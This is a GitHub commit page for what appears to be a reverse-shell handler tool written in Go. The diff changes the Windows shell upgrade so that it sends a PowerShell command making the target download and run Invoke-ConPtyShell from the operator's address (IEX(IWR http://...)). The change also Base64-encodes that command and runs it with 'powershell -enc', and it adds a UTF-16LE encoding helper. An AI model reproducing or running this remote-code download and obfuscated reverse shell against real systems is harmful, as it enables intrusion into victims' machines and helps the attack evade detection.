Skip to content

Commit

Permalink
Base64 encode the powershell command
Browse files Browse the repository at this point in the history
  • Loading branch information
nodauf committed Apr 8, 2021
1 parent 8f51599 commit b5fc1cb
Show file tree
Hide file tree
Showing 3 changed files with 20 additions and 36 deletions.
7 changes: 4 additions & 3 deletions src/terminal/terminal-utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ package terminal

import (
"bytes"
"fmt"
"io"
"log"
utils "nc-shell/src/utils"
Expand Down Expand Up @@ -306,8 +305,10 @@ func (terminal *Terminal) interactiveReverseShellLinux() {

func (terminal *Terminal) interactiveReverseShellWindows() {
terminal.getTerminalSize()
command := `powershell IEX(IWR http://` + terminal.Con.LocalAddr().String() + ` -UseBasicParsing); Invoke-ConPtyShell ` + strings.Split(terminal.Con.LocalAddr().String(), ":")[0] + " " + strings.Split(terminal.Con.LocalAddr().String(), ":")[1] + " -Rows " + terminal.rows + " -Cols " + terminal.cols
payloadPowershell := `IEX(IWR http://` + terminal.Con.LocalAddr().String() + ` -UseBasicParsing); Invoke-ConPtyShell ` + strings.Split(terminal.Con.LocalAddr().String(), ":")[0] + " " + strings.Split(terminal.Con.LocalAddr().String(), ":")[1] + " -Rows " + terminal.rows + " -Cols " + terminal.cols
payloadPowershell, _ = utils.Utf16leBase64(payloadPowershell)
command := "powershell -enc " + payloadPowershell
terminal.Log.Debug("Send the command: " + command)
terminal.execute(command)
terminal.execute(command, []byte{promptWindows1})
terminal.Con.Close()
}
6 changes: 6 additions & 0 deletions src/terminal/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -137,6 +137,12 @@ func (terminal *Terminal) Connect() int {
// Set the terminal to raw mode
terminal.sttyRawEcho("enable")
}
// The terminal is natively in raw mode with go-prompt, we need to disable the raw mode when this is not necessary
// If the client is windows OS and we disable ConPTY, the raw mode is not needed
if terminal.OS == "windows" && terminal.Options.DisableConPTY {
terminal.sttyRawEcho("disable")
}

chanToStdout := terminal.streamCopy(terminal.Con, os.Stdout, false)
chanToRemote := terminal.streamCopy(os.Stdin, terminal.Con, true)

Expand Down
43 changes: 10 additions & 33 deletions src/utils/utils.go
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
package utils

import (
"fmt"
"net"
"encoding/base64"

"golang.org/x/text/encoding/unicode"
)

// Backspace character
Expand Down Expand Up @@ -48,36 +49,12 @@ type Iface struct {
IP string
}

// ListInterfaces returns a slice of struct iface (Name of interface with the IP) which are the interfaces on the system
func ListInterfaces() []Iface {
interfaces := []Iface{}
ifaces, err := net.Interfaces()
if err != nil {
fmt.Println(fmt.Errorf("localAddresses: %+v", err.Error()))
return nil
}
for _, i := range ifaces {
addrs, err := i.Addrs()
if err != nil {
fmt.Println(fmt.Errorf("localAddresses: %+v", err.Error()))
continue
}
for _, a := range addrs {

switch v := a.(type) {
case *net.IPNet:
// Test if it's ipv4
if v.IP.To4() != nil {
interfaces = append(interfaces, Iface{Name: i.Name, IP: v.IP.String()})
}

case *net.IPAddr:
// Test if it's ipv4
if v.IP.To4() != nil {
interfaces = append(interfaces, Iface{Name: i.Name, IP: v.IP.String()})
}
}
}
func Utf16leBase64(s string) (string, error) {
var stringB64 = ""
utfEncoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
ut16LeEncodedMessage, err := utfEncoder.String(s)
if err == nil {
stringB64 = base64.StdEncoding.EncodeToString([]byte(ut16LeEncodedMessage))
}
return interfaces
return stringB64, err
}

0 comments on commit b5fc1cb

Please sign in to comment.